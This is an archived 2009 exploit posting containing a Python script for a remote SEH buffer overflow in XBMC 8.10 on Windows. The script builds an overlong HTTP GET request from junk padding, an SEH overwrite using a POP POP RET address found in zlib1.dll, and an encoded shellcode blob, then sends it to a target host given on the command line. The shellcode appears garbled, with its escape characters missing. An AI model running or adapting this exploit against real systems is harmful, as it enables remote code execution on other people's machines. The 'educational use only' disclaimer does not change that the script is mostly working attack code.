xbmc810-overflow.txt
Posted on 07 April 2009
#!/usr/bin/env python ''' Xbmc get request remote buffer overflow 8.10 *seh*(Universal address)!! Tested:Win xp sp2 eng Win vista sp1 Vendor url:http://xbmc.org/ Release date:April the 4th 2009 versions affected: windows all versions. I had tried awhile to get a nice pop ebx pop ret address and just could not find a suitable one especially that was any good.and it had to be shipped with the application and not have /safe seh. To start with i looked at the zlib.dll to see of there were any nice pop pop ret address i noticed there was one in particular that stood out and decided to try it. There is no need for me to release any more exploits for this application as i have covered all the areas which i wanted to and want to move on from this. If your interested to see how this worked attach a debugger and add some hit tracing :).It is possible to use this with all the buffer overflows i released. Credits to n00b for finding the buffer overflow and writing exploit. ---------- Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Educational use only..!! ''' import sys, socket import struct port = 80 host = sys.argv[1] #1635 Junk_buffer1 = 'A'*998 Pointer_To_Next_SEH = struct.pack('<L',0x909006eb) ### ###/SafeSEH Module Scanner, item 55 # SEH mode=/SafeSEH OFF # Base=0x62e80000 # Limit=0x62e97000 # Module Name=C:Program FilesXBMCzlib1.dll ### ###This was found in the module zlib1 and is universal. #62E83BAC 5B POP EBX #62E83BAD 5D POP EBP #62E83BAE ^E9 CDD9FFFF JMP zlib1.compressBound SE_Handler = struct.pack('<L',0x62E83BAC) Junk_buffer3 = 'D'*635 Shell_code=(# "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54" "x42x50x42x50x42x30x4bx58x45x54x4ex33x4bx38x4ex57" "x45x30x4ax37x41x30x4fx4ex4bx58x4fx44x4ax41x4bx38" "x4fx35x42x42x41x30x4bx4ex49x34x4bx58x46x33x4bx58" "x41x30x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c" "x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e" "x46x4fx4bx53x46x55x46x32x46x30x45x47x45x4ex4bx48" "x4fx35x46x32x41x50x4bx4ex48x36x4bx58x4ex50x4bx54" "x4bx58x4fx35x4ex31x41x50x4bx4ex4bx38x4ex41x4bx38" "x41x30x4bx4ex49x38x4ex45x46x52x46x50x43x4cx41x53" "x42x4cx46x46x4bx48x42x44x42x43x45x38x42x4cx4ax37" "x4ex50x4bx48x42x44x4ex50x4bx48x42x57x4ex51x4dx4a" "x4bx48x4ax46x4ax30x4bx4ex49x30x4bx58x42x58x42x4b" "x42x30x42x50x42x30x4bx48x4ax46x4ex43x4fx55x41x43" "x48x4fx42x56x48x55x49x58x4ax4fx43x38x42x4cx4bx57" "x42x55x4ax46x4fx4ex50x4cx42x4ex42x46x4ax36x4ax49" "x50x4fx4cx48x50x30x47x35x4fx4fx47x4ex43x46x41x56" "x4ex46x43x56x50x42x45x56x4ax37x45x36x42x30x5a" ) # create a socket object called 'c' c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to the socket c.connect((host, port)) Request = (Junk_buffer1 + Pointer_To_Next_SEH + SE_Handler + Shell_code + Junk_buffer3) # create a file-like object to read fileobj = c.makefile('r', 0) # Ask the server for the file fileobj.write("GET /"+Request+" HTTP/1.1 ")
